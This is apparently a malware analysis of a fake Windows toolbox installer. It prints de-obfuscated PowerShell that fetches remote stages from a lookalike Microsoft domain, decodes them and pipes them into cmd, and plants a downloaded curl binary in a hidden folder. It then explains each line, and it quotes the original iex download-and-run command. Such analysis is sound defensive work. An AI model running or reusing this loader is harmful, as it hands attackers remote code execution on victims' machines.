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$none = Start-Job{ | |
$a = New-Object System.Net.WebClient | |
$a.Headers.add('X-Custom-PSK','Au05345434sadasd') | |
$a.Headers.add('User-Agent1','asdsad345345') | |
$q = $a.DownloadString('https://ps.microsoft-toolbox.workers.dev/') | |
$q | |
$asddsa = { | |
$cmdrunner = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String( $q.Substring($q.IndexOf("#region encoding") + 16, $q.IndexOf("#endregion encoding") - $q.IndexOf("#region encoding") - 16) )) | |
$none = $cmdrunner | cmd | |
$curlcheck = where.exe curl.exe | |
if ($curlcheck.Contains("curl")){} | |
else{ (New-Object System.Net.WebClient).DownloadFile('https://github.com/alexrybak0444/New/raw/main/curl', 'C:\systemfile\curl.exe') ; attrib +s +h "C:\systemfile\*" /s /d} | |
} | |
if (Test-Path -Path "C:\systemfile"){} else{ | |
iex($asddsa.ToString()) | Out-Null | |
iex($q.Substring($q.IndexOf("#region chromepath"), $q.IndexOf("#endregion chromepath") - $q.IndexOf("#region chromepath"))) | |
} | |
} | |
function Go($num1, $num2, [switch]$min){ | |
while(1) | |
{ | |
if ($b -Match "encoding"){ break} | |
write-host "." -NoNewline | |
Start-Sleep -Milliseconds 200 | |
$global:b = Get-Job | Receive-Job | |
[System.Windows.Forms.Application]::DoEvents() | |
} | |
Get-Job | Remove-Job | |
if ($min) {$formWindowsToolbox.WindowState = 1} | |
iex($b.Substring($num1, $num2)) | |
if ($min) {$formWindowsToolbox.WindowState = 0} | |
} |
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The original repo instructs to run the following:
iex((New-Object System.Net.WebClient).DownloadString('https://ps[.]microsoft-toolbox[.]workers[.]dev'))
The code on that site contains some obfuscated part on line 762. This here is the de-obfuscated variant.
Line 1 starts a new job in the background with its output hidden.
Lines 2-5 make a request to that same site, but this time with new headers. This retrieves Stage 2.
Line 9 references Stage 2 line 2112, which it decodes to Stage 3 and then executes on line 10.
Lines 12-14 download curl if it does not exist on the machine. The download as of 09-04 seems free from malware, but is under control of the malware's author.
Line 16-19 are executed if
C:\systemfile
does not exist. They execute lines 8-15(?) and then lines 2010-2103 in Stage 2.Go
Function Go is defined in lines 22-37, but does not seem to be called?